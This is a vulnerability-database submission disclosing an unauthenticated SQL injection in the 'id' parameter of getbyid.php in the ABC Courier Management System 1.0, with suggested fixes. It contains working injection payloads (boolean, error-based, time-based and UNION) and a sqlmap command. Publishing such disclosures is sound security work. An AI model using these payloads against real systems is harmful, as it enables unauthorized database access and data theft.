Submit #622261: 1000projects ABC Courier Management System Project v1.0 SQL Injectioninfo

Titel1000projects ABC Courier Management System Project v1.0 SQL Injection
BeschreibungProjectworlds ABC Courier Management System Project V1.0 /getbyid.php SQL injection NAME OF AFFECTED PRODUCT(S) ABC Courier Management System Vendor Homepage https://1000projects.org/ AFFECTED AND/OR FIXED VERSION(S) submitter mawenjie Vulnerable File /getbyid.php VERSION(S) V1.0 Software Link https://1000projects.org/abc-courier-management-system-php-project.html PROBLEM TYPE Vulnerability Type SQL injection Root Cause A SQL injection vulnerability was found in the '/getbyid.php ' file of the 'ABC Courier Management System' project. The reason for this issue is that attackers inject malicious code from the parameter 'id‘ and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations. Impact Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity. DESCRIPTION During the security review of "ABC Courier Management System",I discovered a critical SQL injection vulnerability in the "/getbyid.php " file. This vulnerability stems from insufficient user input validation of the 'id' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity. No login or authorization is required to exploit this vulnerability Vulnerability details and POC Vulnerability lonameion: 'id' parameter Payload: Parameter: id (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=12234' AND 3107=3107 AND 'ttjD'='ttjD Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: id=12234' AND (SELECT 4105 FROM(SELECT COUNT(*),CONCAT(0x717a787871,(SELECT (ELT(4105=4105,1))),0x7176767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'XmYz'='XmYz Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=12234' AND (SELECT 7129 FROM (SELECT(SLEEP(5)))Opjc) AND 'HUoG'='HUoG Type: UNION query Title: Generic UNION query (NULL) - 10 columns Payload: id=-3174' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a787871,0x58454266775041626a7670767477786c6379506a716c4148706b6a41727168546a455a6d754e455a,0x7176767871)-- - The following are screenshots of some specific information obtained from testing and running with the sqlmap tool: sqlmap -u "http://10.20.33.16/admin/getbyid.php " --data="id=12234" --dbs <img width="2306" height="928" alt="Image" src="https://github.com/user-attachments/assets/e29a4526-e82d-4cb5-969c-9a6ecdbcf117" /> Suggested repair 1. Use prepared statements and parameter binding: Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code. 2. Input validation and filtering: Strictly validate and filter user input data to ensure it conforms to the expected format. 3. Minimize database user permissions: Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations. 4. Regular security audits: Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.
Quelle⚠️ https://github.com/XiaoJiesecqwq/CVE/issues/1
Benutzer
 Anonymous User
Einreichung25.07.2025 06:34 (vor 9 Monaten)
Moderieren25.07.2025 10:38 (4 hours later)
StatusAkzeptiert
VulDB Eintrag317598 [1000 Projects ABC Courier Management System 1.0 /getbyid.php ID SQL Injection]
Punkte20

Are you interested in using VulDB?

Download the whitepaper to learn more about our service!